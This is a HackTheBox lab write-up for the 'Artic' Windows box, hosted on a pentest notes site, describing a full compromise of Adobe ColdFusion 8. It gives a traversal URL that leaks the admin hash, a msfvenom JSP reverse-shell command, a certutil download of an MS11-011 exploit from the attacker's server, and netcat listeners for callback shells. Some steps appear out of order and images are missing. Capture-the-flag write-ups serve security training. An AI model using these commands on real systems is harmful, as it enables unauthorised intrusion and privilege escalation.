Pentest Everything
GitHubPsMapExec
  • ⚔️Pentest Everything
  • 🚩Writeups
    • CyberSecLabs
      • Active Directory
        • Dictionary
        • Spray (WIP)
      • Linux
        • Shock
        • Pie
      • Windows
        • Brute
        • Deployable
        • Glass
        • Monitor
        • Sam
        • Secret
        • Stack
        • Unattended
        • Weak
    • HackTheBox
      • Active Directory
        • Active
        • Blackfield
        • Cascade
        • Forest
        • Intelligence
        • Mantis
        • Monteverde
        • Resolute
        • Return
        • Sauna
        • Search
      • Linux
        • Antique
        • Armageddon
        • Backdoor
        • Bashed
        • Cap
        • Cronos
        • Curling
        • Knife
        • Lame
        • Help
        • Horizontall
        • OpenAdmin
        • Poison
        • SolidState
        • Traceback
        • Trick
      • Windows
        • Access
        • Artic
        • Bastard
        • Bastion
        • Bounty
        • Devel
        • Heist
        • Jeeves
        • Jerry
        • Legacy
        • Love
        • Optimum
        • Remote
        • SecNotes
        • Servmon
        • Timelapse
        • Querier
    • PG Play | Vulnhub
      • Linux
        • BBSCute
        • BTRSys2.1
        • Born2root
        • BossPlayersCTF
        • Covfefe
        • Dawn
        • DC5
        • Funbox
        • FunboxEasy
        • FunBoxEasyEnum
        • HackerFest2019
        • Geisha
        • JISCTF
        • My-CMSMS
        • NoName
        • OnSystemShellDredd
        • Photographer
        • Potato
        • PyExp
        • Samurai
        • SunsetDecoy
        • SunsetMidnight
        • SunsetTwilight
        • Wpwn
    • PG Practice
      • Linux
        • ClamAV
        • Nibbles
        • Payday
        • Pelican
        • Peppo
        • Postfish
        • Pwned1
        • Snookums
        • Sirol
        • Sorcerer
        • Quackerjack
        • WebCal
        • Walla
        • ZenPhoto
        • Zino
      • Windows
        • Algernon
        • Compromised
        • Kevin
        • Helpdesk
        • Hutch
        • Jacko
        • Meathead
        • Metallus
        • Shenzi
        • Slort
        • UT99
    • TryHackMe
      • Linux
        • All in One
        • Archangel
        • Anonforce
        • Biblioteca
        • Cat Pictures
        • Chill Hack
        • CMesS
        • ColddBox
        • ConvertMyVideo
        • CyberHeroes
        • Cyborg
        • Dav
        • Fusion Corp
        • GamingServer
        • Gallery
        • Internal
        • Jacobtheboss
        • Kiba
        • LazyAdmin
        • Library
        • Madness
        • Marketplace
        • Mustacchio
        • NerdHerd
        • Oh My WebServer
        • Olympus
        • Plotted-TMS
        • Skynet
        • Startup
        • Surfer
        • Team
        • Tech_Supp0rt: 1
        • Tomghost
        • VulnNet
        • Undiscovered
        • Year of the Owl
      • Windows
        • Blueprint
        • Enterprise
        • Flatline
        • Quotient
        • RazorBlack
        • Relevant
        • USTOUN
        • VulnNet: Roasted
    • To Do
      • AllSignsPoint2Pwnage (WIP)
      • Hunit (WIP)
      • Escape (WIP)
      • Banzai (WIP)
      • Billyboss (WIP)
      • Fish
      • Ra
      • Roquefort (WIP)
  • 💾GitHub
  • 🔵 PsMapExec
  • Everything
    • Buffer Overflow Guide
    • Everything Active Directory and Windows
      • Active Directory Enumeration
      • ADCS
        • Enumeration - Certificate Authority
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC6
        • ESC7
        • ESC8
        • ESC9 - WIP
        • ESC11
      • Access Token Manipultion
        • Token Impersonation
        • Create Process with Token
        • 🔨Make and Impersonate Token
        • Parent PID Spoofing
        • 🔨SID-History Injection
      • Adversary-in-the-Middle
        • 🔨LDAP Relay
        • 🔨LLMNR
        • 🔨RDP MiTM
        • 🔨SMB Relay
      • Credential Access
        • Brute Force
          • Password Spraying
        • Credential Dumping
          • LSASS Memory
          • Security Account Manager (SAM)
          • NTDS
          • LSA Secrets
          • Cached Domain Credentials
          • DCSync
            • 🔨DCSync Attack
        • Credentials from Password Stores
          • Credentials from Web Browsers
          • Windows Credential Manager
        • Unsecured Credentials
          • Credentials In Files
          • Credentials in Registry
          • Group Policy Preferences
            • 🔨GPP Passwords
        • 🔨Modify Authentication Process
          • Domain Controller Authentication: Skeleton Key
          • Reversible Encryption
        • Steal or Forge Kerberos Tickets
          • AS-REP Roasting
          • Golden Ticket
          • Kerberoasting
          • Silver Ticket
          • S4U2Self
          • Ticket Aquisition
          • Constrained Delegation
          • Unconstrained Delegation
      • Collection
        • Clipboard Data
        • Audio Capture
      • Defense Evasion
        • Disable and Bypass Defender
        • Impair Defenses
          • Disable Windows Event Logging
          • Impair Command History Logging
          • Disable or Modify System Firewall
        • Indicator Removal
          • Clear Windows Event Logs
          • Clear Command History
          • File Deletion
          • Network Share Connection Removal
          • Timestomp
      • Input Capture
        • Keylogging
      • Lateral Movement
        • PowerShell Remoting
        • Alternate Authentication Material
          • Pass The Hash
          • Pass the Ticket
          • Pass the Password
      • File Execution Methods
      • File Transfer Techniques
      • Forced Coercion
        • URL File Attack
      • LAPS
      • Network Sniffing
      • Persistence
        • AdminSDHolder
        • BITS Jobs
        • Create Account
          • Local Account
          • Domain Account
          • Cloud Account
        • Create or Modify System Process
          • Windows Service
        • Custom SSP
        • DSRM
        • 🔨Persistence Notes
        • Skeleton Key Attack
      • Privilege Escalation
        • Privilege Escalation Checklist
        • DnsAdmin
        • Registry
          • Always Install Elevated
          • AutoRuns
        • Service Exploits
          • Insecure Service Permissions
      • SCCM / MECM
        • Recon
        • CRED-1 - PXE Abuse
        • CRED-2 - Policy Request Credentials
        • CRED-3 - WMI Local Secrets
        • CRED-4 - CIM Repository
        • CRED-5 - MSSQL Database
        • ELEVATE-2 - Client Push
        • TAKEOVER-2
      • Timeroasting
      • Tools
        • BloodHound
    • Everything Linux
      • File Transfer Techniques
      • Linux Privilege Escalation Techniques
      • Privilege Escalation Checklist
      • Shell Upgrades
    • Everything OSINT
      • Discovering Email Addresses
      • Dork Tools
      • Image OSINT
      • Metadata OSINT
      • Password OSINT
      • Phone Number OSINT
      • Search Engine Operators
      • Social Media OSINT Tools
      • OSINT CTFs
      • OSINT VM
      • Username OSINT
    • Everything Web
      • Command Injection
      • Enumeration
      • File Upload
      • Sub Domain Enumeration
      • XSS
    • Host Discovery
    • Pivoting and Portforwarding
    • Ports
      • Nmap Commands for port discovery
      • Port 21 | FTP
      • Port 25 | SMTP
      • Port 53 | DNS
      • Port 88 | Kerberos
      • Ports 111 | 32771 | rpcbind
      • Port 123 | NTP
      • Ports 137 | 138 | 139 | NetBIOS
      • Ports 139 | 445 | SMB
      • Ports 161 | 162 | SNMP
      • Port 389 | LDAP
      • Ports 1099 | Java RMI
      • Ports 2049 | NFS
      • Port 3389 | RDP
      • Ports 8080 | 8180 | Apache Tomcat
    • PowerShell
      • Constrained Language Mode
      • Download and Execution Methods
      • Resources
      • Restricted Mode
  • Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • OSINT Tools
    • Weakpass
  • Password Filter DLL
  • Dork Cheatsheet
Powered by GitBook
On this page
  1. Writeups
  2. HackTheBox
  3. Windows

Artic

Last updated 2 years ago

Initial Nmap Scan

Initial nmap scan reveals the following:

nmap  -A -T4 -p-  -Pn 10.10.10.11  

PORT          STATE  SERVICE VERSION
53/tcp    closed domain
135/tcp   open   msrpc   Microsoft Windows RPC
8500/tcp  open   fmtp?
49154/tcp open   msrpc   Microsoft Windows RPC

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

The only port that stands out is 8500 running fmtp. I was not able to find any notable information regarding that port on Google. However, if we run curl against the port we do receive a directory result.

Browse to Http://10.10.10.11:8500 in the browser:

This box is exceptionally slow and I did initially try running a directory brute force before giving up as this was only hitting a few directory attempts a minute.

After doing a Google search the directory "CFIDE" is related to Adobe Cold Fusion. If we head over to the administration login page at:

We can see that the version of Cold Fusion is 8. With this information lets run Searchsploit and see what we get:

Looks like we have an interesting Metasploit module. Lets now move onto the exploitation stage and see what happens...

I did try to run this module in Metasploit however, i was receiving "File upload error..."

The options to set this exploit are not very complicated with the only real variable being where to set the FCKEDITOR directory. I double checked my paths and concluded they was correct. I did not want to spend too long on something like this early on so went back to researching further on Google.

To perform this exploit we will need to head over to Http://10.10.10.11/CFIDE/administrator/enter.cfm. Wait (patiently) for the page to load correctly. Once loaded paste the following link into the address bar:

This will disclose the hash of the administrator account as per below:

[ Add image ]

We can take the disclosed hash **2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03 **and run it through John the Ripper. I used the rockyou.txt wordlist and was able to extract the following information.

sudo john --wordlist=/home/kali/Desktop/rockyou.txt hash

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 128/128 AVX 4x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
happyday         (?)

Session completed

We can head back to the Cold Fusion administrative login page and login with the credentials Admin:happyday

As we know Cold Fusion can serve Java files we need to generate a JSP payload. I used command below to generate the required payload.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=0.0.0.0 LPORT=4444 -f raw > shell.jsp

We will now need to start up a Python SimpleHTTPServer on our attacking machine so we can upload the reverse shell payload to the Cold Fusion server.

sudo Python -m SimpleHTPPServer 80

sudo is required when trying to use ports in the range of 1-1024

Head over to the Mappings section on Cold Fusion and copy the directory path for CFIDE. We need to define where we will upload our shell.

On the left side panel on Cold Fusion head over to "Debugging & Logging > Scheduled Tasks" We are going to create a scheduled task to download the reverse shell from our attacking machine.

Give the task any name you like and set the "One-Time" occurrence to any time you like as we will be kicking this task of manually in the near future. set the URL to the IP of your VPN interface and define the name of the payload you created earlier with msfvenom.

Set the public checkbox and paste the drive mapping from earlier appending the end with the name of our reverse shell. Submit the task and then head back over to "Scheduled Tasks" and manually run the task.

You should now see the payload we upload in this directory. Set up netcat to listen in on the port define the LPORT=<port> setting you used in msfvenom earlier.

Run the payload in the directory after setting up the listener. You should now receive shell on the server.

As always the next best step is to grab the system information and run it through Windows exploit suggester. Grab system information with the systeminfo command:

Copy this into a text file somewhere on the attacking machine. Run an update on the Windows-Exploit-Suggester.py using the _--update _switch.

We can now run this against our system information text file:

The exploit we are interested in is the MS11-011 exploit which can lead to a privilege escalation. The following link below will take you to a pre-compiled exploit for MS11-011.

After downloading the file store it in a directory and run the Python SimpleHTTPServer as mentioned earlier. It is recommended to rename the exploit before uploading to the victim machine. After the Python HTTP server is running we can use certutil.exe which is built into Windows by default to download the exploit from our attacking machine onto the Windows Server.

certutil.exe -urlcache -split -f "http://0.0.0.0/exploit.exe" exploit.exe

Before executing the executable we need to set up another listener on our attacking machine:

nc -lvp 4500

Now on the Windows machine we can call the exploit. Using our attacking machine IP and the port number specified above as parameters.

winner.exe 10.10.14.39 4500 

I soon came across a great link detailing a local file disclosure vulnerability in various Cold Fusion versions.

Wait a short while and you should see in your Python server terminal activity of the server receiving a GET request for the payload. After this has been completed we can head over to the server directory again at:

🚩
https://nets.ec/Coldfusion_hacking
http://10.10.10.11/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en
http://10.10.10.11:8500/CFIDE/administrator/settings/mappings.cfm
http://10.10.10.11:8500/CFIDE/
https://github.com/Re4son/Chimichurri/blob/master/Chimichurri.exe
http://10.10.10.11:8500/CFIDE/administrator/index.cfm10.10.10.11